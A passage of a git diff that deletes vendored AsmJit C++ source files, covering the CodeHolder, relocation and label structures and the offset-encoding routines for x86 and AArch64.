[0000000000000iiiiiiiiiiiiiiiiiDD] - Offset value (32-bit) -//! [000000000000000iiiiiiiiiiiiiiiii] - Offset value after discard LSB. -//! [00000000000iiiiiiiiiiiiiiiii0000] - Offset value shifted by ImmBitShift. -//! [xxxxxxxxxxxiiiiiiiiiiiiiiiiixxxx] - Patched word (32-bit) -//! |...............| -//! (ImmBitCount) +- ImmBitShift -//! ``` -struct OffsetFormat { - //! Type of the displacement. - uint8_t _type; - //! Encoding flags. - uint8_t _flags; - //! Size of the region (in bytes) containing the offset value, if the offset - //! value is part of an instruction, otherwise it would be the same as - //! `_valueSize`. - uint8_t _regionSize; - //! Size of the offset value, in bytes (1, 2, 4, or 8). - uint8_t _valueSize; - //! Offset of the offset value, in bytes, relative to the start of the region - //! or data. Value offset would be zero if both region size and value size are - //! equal. - uint8_t _valueOffset; - //! Size of the displacement immediate value in bits. - uint8_t _immBitCount; - //! Shift of the displacement immediate value in bits in the target word. - uint8_t _immBitShift; - //! Number of least significant bits to discard before writing the immediate - //! to the destination. All discarded bits must be zero otherwise the value - //! is invalid. - uint8_t _immDiscardLsb; - - //! Type of the displacement. - enum Type : uint8_t { - //! A value having `_immBitCount` bits and shifted by `_immBitShift`. - //! - //! This displacement type is sufficient for both X86/X64 and many other - //! architectures that store displacement as continuous bits within a machine - //! word. - kTypeCommon = 0, - //! AARCH64 ADR format of `[.|immlo:2|.....|immhi:19|.....]`. - kTypeAArch64_ADR, - //! AARCH64 ADRP format of `[.|immlo:2|.....|immhi:19|.....]` (4kB pages). - kTypeAArch64_ADRP, - - //! Count of displacement types. - kTypeCount - }; - - //! Returns the type of the displacement. - inline uint32_t type() const noexcept { return _type; } - - //! Returns flags. - inline uint32_t flags() const noexcept { return _flags; } - - //! Returns the size of the region/instruction where the displacement is encoded. - inline uint32_t regionSize() const noexcept { return _regionSize; } - - //! Returns the the offset of the word relative to the start of the region - //! where the displacement is. - inline uint32_t valueOffset() const noexcept { return _valueOffset; } - - //! Returns the size of the data-type (word) that contains the displacement, in bytes. - inline uint32_t valueSize() const noexcept { return _valueSize; } - //! Returns the count of bits of the displacement value in the data it's stored in. - inline uint32_t immBitCount() const noexcept { return _immBitCount; } - //! Returns the bit-shift of the displacement value in the data it's stored in. - inline uint32_t immBitShift() const noexcept { return _immBitShift; } - //! Returns the number of least significant bits of the displacement value, - //! that must be zero and that are not part of the encoded data. - inline uint32_t immDiscardLsb() const noexcept { return _immDiscardLsb; } - - //! Resets this offset format to a simple data value of `dataSize` bytes. - //! - //! The region will be the same size as data and immediate bits would correspond - //! to `dataSize * 8`. There will be no immediate bit shift or discarded bits. - inline void resetToDataValue(size_t dataSize) noexcept { - ASMJIT_ASSERT(dataSize <= 8u); - - _type = uint8_t(kTypeCommon); - _flags = uint8_t(0); - _regionSize = uint8_t(dataSize); - _valueSize = uint8_t(dataSize); - _valueOffset = uint8_t(0); - _immBitCount = uint8_t(dataSize * 8u); - _immBitShift = uint8_t(0); - _immDiscardLsb = uint8_t(0); - } - - inline void resetToImmValue(uint32_t type, size_t valueSize, uint32_t immBitShift, uint32_t immBitCount, uint32_t immDiscardLsb) noexcept { - ASMJIT_ASSERT(valueSize <= 8u); - ASMJIT_ASSERT(immBitShift < valueSize * 8u); - ASMJIT_ASSERT(immBitCount <= 64u); - ASMJIT_ASSERT(immDiscardLsb <= 64u); - - _type = uint8_t(type); - _flags = uint8_t(0); - _regionSize = uint8_t(valueSize); - _valueSize = uint8_t(valueSize); - _valueOffset = uint8_t(0); - _immBitCount = uint8_t(immBitCount); - _immBitShift = uint8_t(immBitShift); - _immDiscardLsb = uint8_t(immDiscardLsb); - } - - inline void setRegion(size_t regionSize, size_t valueOffset) noexcept { - _regionSize = uint8_t(regionSize); - _valueOffset = uint8_t(valueOffset); - } - - inline void setLeadingAndTrailingSize(size_t leadingSize, size_t trailingSize) noexcept { - _regionSize = uint8_t(leadingSize + trailingSize + _valueSize); - _valueOffset = uint8_t(leadingSize); - } -}; - -// ============================================================================ -// [asmjit::RelocEntry] -// ============================================================================ - -//! Relocation entry. -struct RelocEntry { - //! Relocation id. - uint32_t _id; - //! Type of the relocation. - uint32_t _relocType; - //! Format of the relocated value. - OffsetFormat _format; - //! Source section id. - uint32_t _sourceSectionId; - //! Target section id. - uint32_t _targetSectionId; - //! Source offset (relative to start of the section). - uint64_t _sourceOffset; - //! Payload (target offset, target address, expression, etc). - uint64_t _payload; - - //! Relocation type. - enum RelocType : uint32_t { - //! None/deleted (no relocation). - kTypeNone = 0, - //! Expression evaluation, `_payload` is pointer to `Expression`. - kTypeExpression = 1, - //! Relocate absolute to absolute. - kTypeAbsToAbs = 2, - //! Relocate relative to absolute. - kTypeRelToAbs = 3, - //! Relocate absolute to relative. - kTypeAbsToRel = 4, - //! Relocate absolute to relative or use trampoline. - kTypeX64AddressEntry = 5 - }; - - //! \name Accessors - //! \{ - - inline uint32_t id() const noexcept { return _id; } - - inline uint32_t relocType() const noexcept { return _relocType; } - inline const OffsetFormat& format() const noexcept { return _format; } - - inline uint32_t sourceSectionId() const noexcept { return _sourceSectionId; } - inline uint32_t targetSectionId() const noexcept { return _targetSectionId; } - - inline uint64_t sourceOffset() const noexcept { return _sourceOffset; } - inline uint64_t payload() const noexcept { return _payload; } - - Expression* payloadAsExpression() const noexcept { - return reinterpret_cast(uintptr_t(_payload)); - } - - //! \} -}; - -// ============================================================================ -// [asmjit::LabelLink] -// ============================================================================ - -//! Data structure used to link either unbound labels or cross-section links. -struct LabelLink { - //! Next link (single-linked list). - LabelLink* next; - //! Section id where the label is bound. - uint32_t sectionId; - //! Relocation id or Globals::kInvalidId. - uint32_t relocId; - //! Label offset relative to the start of the section. - size_t offset; - //! Inlined rel8/rel32. - intptr_t rel; - //! Offset format information. - OffsetFormat format; -}; - -// ============================================================================ -// [asmjit::LabelEntry] -// ============================================================================ - -//! Label entry. -//! -//! Contains the following properties: -//! * Label id - This is the only thing that is set to the `Label` operand. -//! * Label name - Optional, used mostly to create executables and libraries. -//! * Label type - Type of the label, default `Label::kTypeAnonymous`. -//! * Label parent id - Derived from many assemblers that allow to define a -//! local label that falls under a global label. This allows to define -//! many labels of the same name that have different parent (global) label. -//! * Offset - offset of the label bound by `Assembler`. -//! * Links - single-linked list that contains locations of code that has -//! to be patched when the label gets bound. Every use of unbound label -//! adds one link to `_links` list. -//! * HVal - Hash value of label's name and optionally parentId. -//! * HashNext - Hash-table implementation detail. -class LabelEntry : public ZoneHashNode { -public: - // Let's round the size of `LabelEntry` to 64 bytes (as `ZoneAllocator` has - // granularity of 32 bytes anyway). This gives `_name` the remaining space, - // which is should be 16 bytes on 64-bit and 28 bytes on 32-bit architectures. - enum : uint32_t { - kStaticNameSize = - 64 - (sizeof(ZoneHashNode) + 8 + sizeof(Section*) + sizeof(size_t) + sizeof(LabelLink*)) - }; - - //! Label type, see `Label::LabelType`. - uint8_t _type; - //! Must be zero. - uint8_t _flags; - //! Reserved. - uint16_t _reserved16; - //! Label parent id or zero. - uint32_t _parentId; - //! Label offset relative to the start of the `_section`. - uint64_t _offset; - //! Section where the label was bound. - Section* _section; - //! Label links. - LabelLink* _links; - //! Label name. - ZoneString _name; - - //! \name Accessors - //! \{ - - // NOTE: Label id is stored in `_customData`, which is provided by ZoneHashNode - // to fill a padding that a C++ compiler targeting 64-bit CPU will add to align - // the structure to 64-bits. - - //! Returns label id. - inline uint32_t id() const noexcept { return _customData; } - //! Sets label id (internal, used only by `CodeHolder`). - inline void _setId(uint32_t id) noexcept { _customData = id; } - - //! Returns label type, see `Label::LabelType`. - inline uint32_t type() const noexcept { return _type; } - //! Returns label flags, returns 0 at the moment. - inline uint32_t flags() const noexcept { return _flags; } - - //! Tests whether the label has a parent label. - inline bool hasParent() const noexcept { return _parentId != Globals::kInvalidId; } - //! Returns label's parent id. - inline uint32_t parentId() const noexcept { return _parentId; } - - //! Returns the section where the label was bound. - //! - //! If the label was not yet bound the return value is `nullptr`. - inline Section* section() const noexcept { return _section; } - - //! Tests whether the label has name. - inline bool hasName() const noexcept { return !_name.empty(); } - - //! Returns the label's name. - //! - //! \note Local labels will return their local name without their parent - //! part, for example ".L1". - inline const char* name() const noexcept { return _name.data(); } - - //! Returns size of label's name. - //! - //! \note Label name is always null terminated, so you can use `strlen()` to - //! get it, however, it's also cached in `LabelEntry` itself, so if you want - //! to know the size the fastest way is to call `LabelEntry::nameSize()`. - inline uint32_t nameSize() const noexcept { return _name.size(); } - - //! Returns links associated with this label. - inline LabelLink* links() const noexcept { return _links; } - - //! Tests whether the label is bound. - inline bool isBound() const noexcept { return _section != nullptr; } - //! Tests whether the label is bound to a the given `sectionId`. - inline bool isBoundTo(Section* section) const noexcept { return _section == section; } - - //! Returns the label offset (only useful if the label is bound). - inline uint64_t offset() const noexcept { return _offset; } - - //! Returns the hash-value of label's name and its parent label (if any). - //! - //! Label hash is calculated as `HASH(Name) ^ ParentId`. The hash function - //! is implemented in `Support::hashString()` and `Support::hashRound()`. - inline uint32_t hashCode() const noexcept { return _hashCode; } - - //! \} -}; - -// ============================================================================ -// [asmjit::AddressTableEntry] -// ============================================================================ - -//! Entry in an address table. -class AddressTableEntry : public ZoneTreeNodeT { -public: - ASMJIT_NONCOPYABLE(AddressTableEntry) - - //! Address. - uint64_t _address; - //! Slot. - uint32_t _slot; - - //! \name Construction & Destruction - //! \{ - - inline explicit AddressTableEntry(uint64_t address) noexcept - : _address(address), - _slot(0xFFFFFFFFu) {} - - //! \} - - //! \name Accessors - //! \{ - - inline uint64_t address() const noexcept { return _address; } - inline uint32_t slot() const noexcept { return _slot; } - - inline bool hasAssignedSlot() const noexcept { return _slot != 0xFFFFFFFFu; } - - inline bool operator<(const AddressTableEntry& other) const noexcept { return _address < other._address; } - inline bool operator>(const AddressTableEntry& other) const noexcept { return _address > other._address; } - - inline bool operator<(uint64_t queryAddress) const noexcept { return _address < queryAddress; } - inline bool operator>(uint64_t queryAddress) const noexcept { return _address > queryAddress; } - - //! \} -}; - -// ============================================================================ -// [asmjit::CodeHolder] -// ============================================================================ - -//! Contains basic information about the target architecture and its options. -//! -//! In addition, it holds assembled code & data (including sections, labels, and -//! relocation information). `CodeHolder` can store both binary and intermediate -//! representation of assembly, which can be generated by \ref BaseAssembler, -//! \ref BaseBuilder, and \ref BaseCompiler -//! -//! \note `CodeHolder` has an ability to attach an \ref ErrorHandler, however, -//! the error handler is not triggered by `CodeHolder` itself, it's instead -//! propagated to all emitters that attach to it. -class CodeHolder { -public: - ASMJIT_NONCOPYABLE(CodeHolder) - - //! Environment information. - Environment _environment; - //! Base address or \ref Globals::kNoBaseAddress. - uint64_t _baseAddress; - - //! Attached `Logger`, used by all consumers. - Logger* _logger; - //! Attached `ErrorHandler`. - ErrorHandler* _errorHandler; - - //! Code zone (used to allocate core structures). - Zone _zone; - //! Zone allocator, used to manage internal containers. - ZoneAllocator _allocator; - - //! Attached emitters. - ZoneVector _emitters; - //! Section entries. - ZoneVector _sections; - //! Section entries sorted by section order and then section id. - ZoneVector _sectionsByOrder; - //! Label entries. - ZoneVector _labelEntries; - //! Relocation entries. - ZoneVector _relocations; - //! Label name -> LabelEntry (only named labels). - ZoneHash _namedLabels; - - //! Count of label links, which are not resolved. - size_t _unresolvedLinkCount; - //! Pointer to an address table section (or null if this section doesn't exist). - Section* _addressTableSection; - //! Address table entries. - ZoneTree _addressTableEntries; - - //! Options that can be used with \ref copySectionData() and \ref copyFlattenedData(). - enum CopyOptions : uint32_t { - //! If virtual size of a section is greater than the size of its \ref CodeBuffer - //! then all bytes between the buffer size and virtual size will be zeroed. - //! If this option is not set then those bytes would be left as is, which - //! means that if the user didn't initialize them they would have a previous - //! content, which may be unwanted. - kCopyPadSectionBuffer = 0x00000001u, - -#ifndef ASMJIT_NO_DEPRECATED - kCopyWithPadding = kCopyPadSectionBuffer, -#endif // !ASMJIT_NO_DEPRECATED - - //! Zeroes the target buffer if the flattened data is less than the destination - //! size. This option works only with \ref copyFlattenedData() as it processes - //! multiple sections. It is ignored by \ref copySectionData(). - kCopyPadTargetBuffer = 0x00000002u - }; - - //! \name Construction & Destruction - //! \{ - - //! Creates an uninitialized CodeHolder (you must init() it before it can be used). - ASMJIT_API CodeHolder() noexcept; - //! Destroys the CodeHolder. - ASMJIT_API ~CodeHolder() noexcept; - - //! Tests whether the `CodeHolder` has been initialized. - //! - //! Emitters can be only attached to initialized `CodeHolder` instances. - inline bool isInitialized() const noexcept { return _environment.isInitialized(); } - - //! Initializes CodeHolder to hold code described by code `info`. - ASMJIT_API Error init(const Environment& environment, uint64_t baseAddress = Globals::kNoBaseAddress) noexcept; - //! Detaches all code-generators attached and resets the `CodeHolder`. - ASMJIT_API void reset(uint32_t resetPolicy = Globals::kResetSoft) noexcept; - - //! \} - - //! \name Attach & Detach - //! \{ - - //! Attaches an emitter to this `CodeHolder`. - ASMJIT_API Error attach(BaseEmitter* emitter) noexcept; - //! Detaches an emitter from this `CodeHolder`. - ASMJIT_API Error detach(BaseEmitter* emitter) noexcept; - - //! \} - - //! \name Allocators - //! \{ - - //! Returns the allocator that the `CodeHolder` uses. - //! - //! \note This should be only used for AsmJit's purposes. Code holder uses - //! arena allocator to allocate everything, so anything allocated through - //! this allocator will be invalidated by \ref CodeHolder::reset() or by - //! CodeHolder's destructor. - inline ZoneAllocator* allocator() const noexcept { return const_cast(&_allocator); } - - //! \} - - //! \name Code & Architecture - //! \{ - - //! Returns the target environment information, see \ref Environment. - inline const Environment& environment() const noexcept { return _environment; } - - //! Returns the target architecture. - inline uint32_t arch() const noexcept { return environment().arch(); } - //! Returns the target sub-architecture. - inline uint32_t subArch() const noexcept { return environment().subArch(); } - - //! Tests whether a static base-address is set. - inline bool hasBaseAddress() const noexcept { return _baseAddress != Globals::kNoBaseAddress; } - //! Returns a static base-address or \ref Globals::kNoBaseAddress, if not set. - inline uint64_t baseAddress() const noexcept { return _baseAddress; } - - //! \} - - //! \name Emitters - //! \{ - - //! Returns a vector of attached emitters. - inline const ZoneVector& emitters() const noexcept { return _emitters; } - - //! \} - - //! \name Logging - //! \{ - - //! Returns the attached logger, see \ref Logger. - inline Logger* logger() const noexcept { return _logger; } - //! Attaches a `logger` to CodeHolder and propagates it to all attached emitters. - ASMJIT_API void setLogger(Logger* logger) noexcept; - //! Resets the logger to none. - inline void resetLogger() noexcept { setLogger(nullptr); } - - //! \name Error Handling - //! \{ - - //! Tests whether the CodeHolder has an attached error handler, see \ref ErrorHandler. - inline bool hasErrorHandler() const noexcept { return _errorHandler != nullptr; } - //! Returns the attached error handler. - inline ErrorHandler* errorHandler() const noexcept { return _errorHandler; } - //! Attach an error handler to this `CodeHolder`. - ASMJIT_API void setErrorHandler(ErrorHandler* errorHandler) noexcept; - //! Resets the error handler to none. - inline void resetErrorHandler() noexcept { setErrorHandler(nullptr); } - - //! \} - - //! \name Code Buffer - //! \{ - - //! Makes sure that at least `n` bytes can be added to CodeHolder's buffer `cb`. - //! - //! \note The buffer `cb` must be managed by `CodeHolder` - otherwise the - //! behavior of the function is undefined. - ASMJIT_API Error growBuffer(CodeBuffer* cb, size_t n) noexcept; - - //! Reserves the size of `cb` to at least `n` bytes. - //! - //! \note The buffer `cb` must be managed by `CodeHolder` - otherwise the - //! behavior of the function is undefined. - ASMJIT_API Error reserveBuffer(CodeBuffer* cb, size_t n) noexcept; - - //! \} - - //! \name Sections - //! \{ - - //! Returns an array of `Section*` records. - inline const ZoneVector& sections() const noexcept { return _sections; } - //! Returns an array of `Section*` records sorted according to section order first, then section id. - inline const ZoneVector& sectionsByOrder() const noexcept { return _sectionsByOrder; } - //! Returns the number of sections. - inline uint32_t sectionCount() const noexcept { return _sections.size(); } - - //! Tests whether the given `sectionId` is valid. - inline bool isSectionValid(uint32_t sectionId) const noexcept { return sectionId < _sections.size(); } - - //! Creates a new section and return its pointer in `sectionOut`. - //! - //! Returns `Error`, does not report a possible error to `ErrorHandler`. - ASMJIT_API Error newSection(Section** sectionOut, const char* name, size_t nameSize = SIZE_MAX, uint32_t flags = 0, uint32_t alignment = 1, int32_t order = 0) noexcept; - - //! Returns a section entry of the given index. - inline Section* sectionById(uint32_t sectionId) const noexcept { return _sections[sectionId]; } - - //! Returns section-id that matches the given `name`. - //! - //! If there is no such section `Section::kInvalidId` is returned. - ASMJIT_API Section* sectionByName(const char* name, size_t nameSize = SIZE_MAX) const noexcept; - - //! Returns '.text' section (section that commonly represents code). - //! - //! \note Text section is always the first section in \ref CodeHolder::sections() array. - inline Section* textSection() const noexcept { return _sections[0]; } - - //! Tests whether '.addrtab' section exists. - inline bool hasAddressTable() const noexcept { return _addressTableSection != nullptr; } - - //! Returns '.addrtab' section. - //! - //! This section is used exclusively by AsmJit to store absolute 64-bit - //! addresses that cannot be encoded in instructions like 'jmp' or 'call'. - //! - //! \note This section is created on demand, the returned pointer can be null. - inline Section* addressTableSection() const noexcept { return _addressTableSection; } - - //! Ensures that '.addrtab' section exists (creates it if it doesn't) and - //! returns it. Can return `nullptr` on out of memory condition. - ASMJIT_API Section* ensureAddressTableSection() noexcept; - - //! Used to add an address to an address table. - //! - //! This implicitly calls `ensureAddressTableSection()` and then creates - //! `AddressTableEntry` that is inserted to `_addressTableEntries`. If the - //! address already exists this operation does nothing as the same addresses - //! use the same slot. - //! - //! This function should be considered internal as it's used by assemblers to - //! insert an absolute address into the address table. Inserting address into - //! address table without creating a particula relocation entry makes no sense. - ASMJIT_API Error addAddressToAddressTable(uint64_t address) noexcept; - - //! \} - - //! \name Labels & Symbols - //! \{ - - //! Returns array of `LabelEntry*` records. - inline const ZoneVector& labelEntries() const noexcept { return _labelEntries; } - - //! Returns number of labels created. - inline uint32_t labelCount() const noexcept { return _labelEntries.size(); } - - //! Tests whether the label having `id` is valid (i.e. created by `newLabelEntry()`). - inline bool isLabelValid(uint32_t labelId) const noexcept { - return labelId < _labelEntries.size(); - } - - //! Tests whether the `label` is valid (i.e. created by `newLabelEntry()`). - inline bool isLabelValid(const Label& label) const noexcept { - return label.id() < _labelEntries.size(); - } - - //! \overload - inline bool isLabelBound(uint32_t labelId) const noexcept { - return isLabelValid(labelId) && _labelEntries[labelId]->isBound(); - } - - //! Tests whether the `label` is already bound. - //! - //! Returns `false` if the `label` is not valid. - inline bool isLabelBound(const Label& label) const noexcept { - return isLabelBound(label.id()); - } - - //! Returns LabelEntry of the given label `id`. - inline LabelEntry* labelEntry(uint32_t labelId) const noexcept { - return isLabelValid(labelId) ? _labelEntries[labelId] : static_cast(nullptr); - } - - //! Returns LabelEntry of the given `label`. - inline LabelEntry* labelEntry(const Label& label) const noexcept { - return labelEntry(label.id()); - } - - //! Returns offset of a `Label` by its `labelId`. - //! - //! The offset returned is relative to the start of the section. Zero offset - //! is returned for unbound labels, which is their initial offset value. - inline uint64_t labelOffset(uint32_t labelId) const noexcept { - ASMJIT_ASSERT(isLabelValid(labelId)); - return _labelEntries[labelId]->offset(); - } - - //! \overload - inline uint64_t labelOffset(const Label& label) const noexcept { - return labelOffset(label.id()); - } - - //! Returns offset of a label by it's `labelId` relative to the base offset. - //! - //! \remarks The offset of the section where the label is bound must be valid - //! in order to use this function, otherwise the value returned will not be - //! reliable. - inline uint64_t labelOffsetFromBase(uint32_t labelId) const noexcept { - ASMJIT_ASSERT(isLabelValid(labelId)); - const LabelEntry* le = _labelEntries[labelId]; - return (le->isBound() ? le->section()->offset() : uint64_t(0)) + le->offset(); - } - - //! \overload - inline uint64_t labelOffsetFromBase(const Label& label) const noexcept { - return labelOffsetFromBase(label.id()); - } - - //! Creates a new anonymous label and return its id in `idOut`. - //! - //! Returns `Error`, does not report error to `ErrorHandler`. - ASMJIT_API Error newLabelEntry(LabelEntry** entryOut) noexcept; - - //! Creates a new named \ref LabelEntry of the given label `type`. - //! - //! \param entryOut Where to store the created \ref LabelEntry. - //! \param name The name of the label. - //! \param nameSize The length of `name` argument, or `SIZE_MAX` if `name` is - //! a null terminated string, which means that the `CodeHolder` will - //! use `strlen()` to determine the length. - //! \param type The type of the label to create, see \ref Label::LabelType. - //! \param parentId Parent id of a local label, otherwise it must be - //! \ref Globals::kInvalidId. - //! - //! \retval Always returns \ref Error, does not report a possible error to - //! the attached \ref ErrorHandler. - //! - //! AsmJit has a support for local labels (\ref Label::kTypeLocal) which - //! require a parent label id (parentId). The names of local labels can - //! conflict with names of other local labels that have a different parent. - ASMJIT_API Error newNamedLabelEntry(LabelEntry** entryOut, const char* name, size_t nameSize, uint32_t type, uint32_t parentId = Globals::kInvalidId) noexcept; - - //! Returns a label by name. - //! - //! If the named label doesn't a default constructed \ref Label is returned, - //! which has its id set to \ref Globals::kInvalidId. - inline Label labelByName(const char* name, size_t nameSize = SIZE_MAX, uint32_t parentId = Globals::kInvalidId) noexcept { - return Label(labelIdByName(name, nameSize, parentId)); - } - - //! Returns a label id by name. - //! - //! If the named label doesn't exist \ref Globals::kInvalidId is returned. - ASMJIT_API uint32_t labelIdByName(const char* name, size_t nameSize = SIZE_MAX, uint32_t parentId = Globals::kInvalidId) noexcept; - - //! Tests whether there are any unresolved label links. - inline bool hasUnresolvedLinks() const noexcept { return _unresolvedLinkCount != 0; } - //! Returns the number of label links, which are unresolved. - inline size_t unresolvedLinkCount() const noexcept { return _unresolvedLinkCount; } - - //! Creates a new label-link used to store information about yet unbound labels. - //! - //! Returns `null` if the allocation failed. - ASMJIT_API LabelLink* newLabelLink(LabelEntry* le, uint32_t sectionId, size_t offset, intptr_t rel, const OffsetFormat& format) noexcept; - - //! Resolves cross-section links (`LabelLink`) associated with each label that - //! was used as a destination in code of a different section. It's only useful - //! to people that use multiple sections as it will do nothing if the code only - //! contains a single section in which cross-section links are not possible. - ASMJIT_API Error resolveUnresolvedLinks() noexcept; - - //! Binds a label to a given `sectionId` and `offset` (relative to start of the section). - //! - //! This function is generally used by `BaseAssembler::bind()` to do the heavy lifting. - ASMJIT_API Error bindLabel(const Label& label, uint32_t sectionId, uint64_t offset) noexcept; - - //! \} - - //! \name Relocations - //! \{ - - //! Tests whether the code contains relocation entries. - inline bool hasRelocEntries() const noexcept { return !_relocations.empty(); } - //! Returns array of `RelocEntry*` records. - inline const ZoneVector& relocEntries() const noexcept { return _relocations; } - - //! Returns a RelocEntry of the given `id`. - inline RelocEntry* relocEntry(uint32_t id) const noexcept { return _relocations[id]; } - - //! Creates a new relocation entry of type `relocType`. - //! - //! Additional fields can be set after the relocation entry was created. - ASMJIT_API Error newRelocEntry(RelocEntry** dst, uint32_t relocType) noexcept; - - //! \} - - //! \name Utilities - //! \{ - - //! Flattens all sections by recalculating their offsets, starting at 0. - //! - //! \note This should never be called more than once. - ASMJIT_API Error flatten() noexcept; - - //! Returns computed the size of code & data of all sections. - //! - //! \note All sections will be iterated over and the code size returned - //! would represent the minimum code size of all combined sections after - //! applying minimum alignment. Code size may decrease after calling - //! `flatten()` and `relocateToBase()`. - ASMJIT_API size_t codeSize() const noexcept; - - //! Relocates the code to the given `baseAddress`. - //! - //! \param baseAddress Absolute base address where the code will be relocated - //! to. Please note that nothing is copied to such base address, it's just an - //! absolute value used by the relocator to resolve all stored relocations. - //! - //! \note This should never be called more than once. - ASMJIT_API Error relocateToBase(uint64_t baseAddress) noexcept; - - //! Copies a single section into `dst`. - ASMJIT_API Error copySectionData(void* dst, size_t dstSize, uint32_t sectionId, uint32_t copyOptions = 0) noexcept; - - //! Copies all sections into `dst`. - //! - //! This should only be used if the data was flattened and there are no gaps - //! between the sections. The `dstSize` is always checked and the copy will - //! never write anything outside the provided buffer. - ASMJIT_API Error copyFlattenedData(void* dst, size_t dstSize, uint32_t copyOptions = 0) noexcept; - - //! \} - -#ifndef ASMJIT_NO_DEPRECATED - ASMJIT_DEPRECATED("Use 'CodeHolder::init(const Environment& environment, uint64_t baseAddress)' instead") - inline Error init(const CodeInfo& codeInfo) noexcept { return init(codeInfo._environment, codeInfo._baseAddress); } - - ASMJIT_DEPRECATED("Use nevironment() instead") - inline CodeInfo codeInfo() const noexcept { return CodeInfo(_environment, _baseAddress); } - - ASMJIT_DEPRECATED("Use BaseEmitter::encodingOptions() - this function always returns zero") - inline uint32_t emitterOptions() const noexcept { return 0; } - - ASMJIT_DEPRECATED("Use BaseEmitter::addEncodingOptions() - this function does nothing") - inline void addEmitterOptions(uint32_t options) noexcept { DebugUtils::unused(options); } - - ASMJIT_DEPRECATED("Use BaseEmitter::clearEncodingOptions() - this function does nothing") - inline void clearEmitterOptions(uint32_t options) noexcept { DebugUtils::unused(options); } -#endif // !ASMJIT_NO_DEPRECATED -}; - -//! \} - -ASMJIT_END_NAMESPACE - -#endif // ASMJIT_CORE_CODEHOLDER_H_INCLUDED diff --git a/src/Theodosius/asmjit/core/codewriter.cpp b/src/Theodosius/asmjit/core/codewriter.cpp deleted file mode 100644 index 6097c0e..0000000 --- a/src/Theodosius/asmjit/core/codewriter.cpp +++ /dev/null @@ -1,151 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#include "../core/api-build_p.h" -#include "../core/codeholder.h" -#include "../core/codewriter_p.h" - -ASMJIT_BEGIN_NAMESPACE - -bool CodeWriterUtils::encodeOffset32(uint32_t* dst, int64_t offset64, const OffsetFormat& format) noexcept { - uint32_t bitCount = format.immBitCount(); - uint32_t bitShift = format.immBitShift(); - uint32_t discardLsb = format.immDiscardLsb(); - - if (!bitCount || bitCount > format.valueSize() * 8u) - return false; - - if (discardLsb) { - ASMJIT_ASSERT(discardLsb <= 32); - if ((offset64 & Support::lsbMask(discardLsb)) != 0) - return false; - offset64 >>= discardLsb; - } - - if (!Support::isInt32(offset64)) - return false; - - int32_t offset32 = int32_t(offset64); - if (!Support::isEncodableOffset32(offset32, bitCount)) - return false; - - switch (format.type()) { - case OffsetFormat::kTypeCommon: { - *dst = (uint32_t(offset32) & Support::lsbMask(bitCount)) << bitShift; - return true; - } - - case OffsetFormat::kTypeAArch64_ADR: - case OffsetFormat::kTypeAArch64_ADRP: { - // Sanity checks. - if (format.valueSize() != 4 || bitCount != 21 || bitShift != 5) - return false; - - uint32_t immLo = uint32_t(offset32) & 0x3u; - uint32_t immHi = uint32_t(offset32 >> 2) & Support::lsbMask(19); - - *dst = (immLo << 29) | (immHi << 5); - return true; - } - - default: - return false; - } -} - -bool CodeWriterUtils::encodeOffset64(uint64_t* dst, int64_t offset64, const OffsetFormat& format) noexcept { - uint32_t bitCount = format.immBitCount(); - uint32_t discardLsb = format.immDiscardLsb(); - - if (!bitCount || bitCount > format.valueSize() * 8u) - return false; - - if (discardLsb) { - ASMJIT_ASSERT(discardLsb <= 32); - if ((offset64 & Support::lsbMask(discardLsb)) != 0) - return false; - offset64 >>= discardLsb; - } - - if (!Support::isEncodableOffset64(offset64, bitCount)) - return false; - - switch (format.type()) { - case OffsetFormat::kTypeCommon: { - *dst = (uint64_t(offset64) & Support::lsbMask(bitCount)) << format.immBitShift(); - return true; - } - - default: - return false; - } -} - -bool CodeWriterUtils::writeOffset(void* dst, int64_t offset64, const OffsetFormat& format) noexcept { - // Offset the destination by ValueOffset so the `dst` points to the - // patched word instead of the beginning of the patched region. - dst = static_cast(dst) + format.valueOffset(); - - switch (format.valueSize()) { - case 1: { - uint32_t mask; - if (!encodeOffset32(&mask, offset64, format)) - return false; - - Support::writeU8(dst, Support::readU8(dst) | mask); - return true; - } - - case 2: { - uint32_t mask; - if (!encodeOffset32(&mask, offset64, format)) - return false; - - Support::writeU16uLE(dst, Support::readU16uLE(dst) | mask); - return true; - } - - case 4: { - uint32_t mask; - if (!encodeOffset32(&mask, offset64, format)) - return false; - - Support::writeU32uLE(dst, Support::readU32uLE(dst) | mask); - return true; - } - - case 8: { - uint64_t mask; - if (!encodeOffset64(&mask, offset64, format)) - return false; - - Support::writeU64uLE(dst, Support::readU64uLE(dst) | mask); - return true; - } - - default: - return false; - } -} - -ASMJIT_END_NAMESPACE diff --git a/src/Theodosius/asmjit/core/codewriter_p.h b/src/Theodosius/asmjit/core/codewriter_p.h deleted file mode 100644 index 61c9101..0000000 --- a/src/Theodosius/asmjit/core/codewriter_p.h +++ /dev/null @@ -1,208 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#ifndef ASMJIT_CORE_CODEBUFFERWRITER_P_H_INCLUDED -#define ASMJIT_CORE_CODEBUFFERWRITER_P_H_INCLUDED - -#include "../core/assembler.h" -#include "../core/codebuffer.h" -#include "../core/support.h" - -ASMJIT_BEGIN_NAMESPACE - -//! \cond INTERNAL 